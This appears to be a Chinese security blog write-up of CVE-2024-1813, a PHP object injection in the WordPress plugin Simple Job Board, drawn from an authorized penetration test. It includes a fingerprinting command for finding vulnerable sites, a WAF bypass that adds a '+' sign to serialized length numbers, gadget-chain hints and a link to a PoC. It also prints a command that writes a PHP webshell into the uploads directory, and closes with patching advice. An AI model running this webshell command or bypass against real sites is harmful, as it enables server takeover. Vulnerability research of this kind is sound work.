一个被定为PHP对象注入的漏洞,到底能不能打?我们在真实渗透中遇到了CVE-2024-1813,发现没有公开的利用链。本文从源码级拆解这条利用路径,包括WAF绕过技巧,并给出完整PoC,证明它确实能导致远程代码执行。
发现过程
几个月前的一次授权渗透测试,目标环境里塞满了WordPress应用。想进服务器,只能挨个把这些插件翻个底朝天。其中一个插件引起了我们的注意——版本老,关联漏洞的危险等级又高,Simple Job Board,版本号压在2.11.0。
查了一圈公开情报,傻眼了。CVE-2024-1813在2024年4月就公开了,但描述只写“未认证PHP对象注入”,没有PoC,没有利用链条。更离谱的是,到了2025年,我们依然能碰到没打补丁的实例。既然没人写,那就自己来。
Simple Job Board 是干什么的
这是个由PressTigers开发的小型WordPress招聘插件。装上后通过短代码[jobpost]就能在页面挂出职位,访客可以直接投递申请。管理员在仪表盘里查看候选人列表,这个操作恰好是漏洞触发点。
利用条件有点多,但很常见
想把这个漏洞打成功,前提不少,但放在现实环境中每一项都不算苛刻:
- 插件版本 ≤ 2.11.0。一条简单的httpx命令就能批量识别:
httpx -u http://localhost:8000 -path /wp-content/plugins/simple-job-board/readme.txt -ms 'Stable tag' -er 'Stable tag:\s[\d\.]+' - 至少有一个已发布的职位。得拿到有效的
job_id和wp_nonce,否则没法提交恶意申请。 - PHP进程中加载了可用的POP gadget链。需要某个第三方插件(比如AIOSEO,它引入了Monolog、Guzzle、Symfony等库)提供反序列化利用链。
- 管理员(或者自动化流程)去打开候选人列表。触发点就在这个查看动作里。
- PHP版本兼容你选的那个反序列化gadget。
代码级拆解:从输入到触发
为了直观,我们让恶意参数jobapp_full_name一路携带一个最简单的序列化对象O:4:"Evil":0:{},看看它经历了什么。
漏洞的入口是一个未认证即可访问的申请提交接口。核心代码片段大致如下:
if ( substr( $key, 0, 7 ) == 'jobapp_' ) :
$val = is_array( $val ) ? maybe_serialize( $val ) : $val;
update_post_meta( $pid, $key, sanitize_text_field( $val ) );
endif;
endforeach;
我们的jobapp_full_name提交时,首先被sanitize_text_field过滤掉HTML标签和控制字符,接着如果它不是数组,就直接保留原样。然后update_post_meta调用WordPress API,底层会执行maybe_serialize,把已经序列化的字符串再次序列化。最终存入数据库的变成了这样:s:15:"O:4:"Evil":0:{}";。此时它毫无危害,即便反序列化,也只是变回原始字符串O:4:"Evil":0:{}而已。
危急的时刻发生在管理员点开某份职位的候选人页面时。应用遍历所有post_meta,找第一个键名包含name的jobapp_*字段(比如jobapp_full_name)。对这个字段,它调用get_post_meta,该函数里会先用is_serialized检查值是否为序列化数据,检查通过就直接maybe_unserialize。这个is_serialized的正则很宽松,只要匹配到:{就算。

问题来了:我们存在数据库里的值是s:15:"O:4:"Evil":0:{}";,它里面包含了":{,刚好满足正则。于是WordPress会先对这一整条已经被编码过的字符串做一次unserialize。结果当然失败,但更关键的是,如果攻击者成功塞入纯净的序列化payload,这步就会触发对象实例化。
怎么让payload绕过第一次的sanitize_text_field和二次序列化?看细节就懂了:提交时,sanitize_text_field不会动序列化字符串里的冒号与花括号;接着maybe_serialize发现输入已经是序列化字符串(以O:或a:开头),会原样返回。所以只要传入的就是O:4:"Evil":0:{},存进数据库的还是它,管理员打开页面时就会触发反序列化。这才是完整的利用路径。
WAF绕过的那个小把戏
有些WAF会用正则拦截包含序列化对象特征头的请求,比如检测":7:{之类的模式。直接传会被拦。
绕过方法简单得有点讽刺:在数字前加个+号。例如O:4:"Evil":0:{}可以写成O:+4:"Evil":0:{};数组a:2:{...}写成a:+2:{...}。

原理是WAF的正则没考虑+,但PHP解析序列化数据时允许数字前面有+号,视为正数。一个不对称就绕过去了。
POP链与exp
反序列化触发以后,需要一条POP gadget链来完成代码执行。这依赖目标环境中已加载的类。最常见的情况是借助AIOSEO插件引入的Monolog库,通过Monolog\Handler\SyslogUdpHandler之类的gadget构造链。具体兼容性要看PHP版本和组件版本。
我们把所有环节串起来写了个Python PoC,仓库在这里:https://github.com/MobetaSec/CVE-2024-1813-POC。如果你面对的环境WAF更苛刻或者gadget链不同,就需要自己适配。
下面这条命令演示了如何通过漏洞往服务器写一个webshell:
'printf '\''\74?php system($_REQUEST[1337]); '\'' > /var/www/html/wp-content/uploads/footer.php'
修复
说实话,这个漏洞从发现到公开已经过去不短的时间,但互联网上未修复的站点仍然一抓一大把。如果你是管理员,别指望“只是对象注入没什么”,升级到2.11.1以上版本,或者直接卸掉不用的插件。另外记得定期检查候选人列表里有没有来路不明的申请——有些攻击痕迹就藏在那里。
参考资料
[1] https://mobeta.fr/simple-job-board-unauth-rce-cve-2024-1813/
夜雨聆风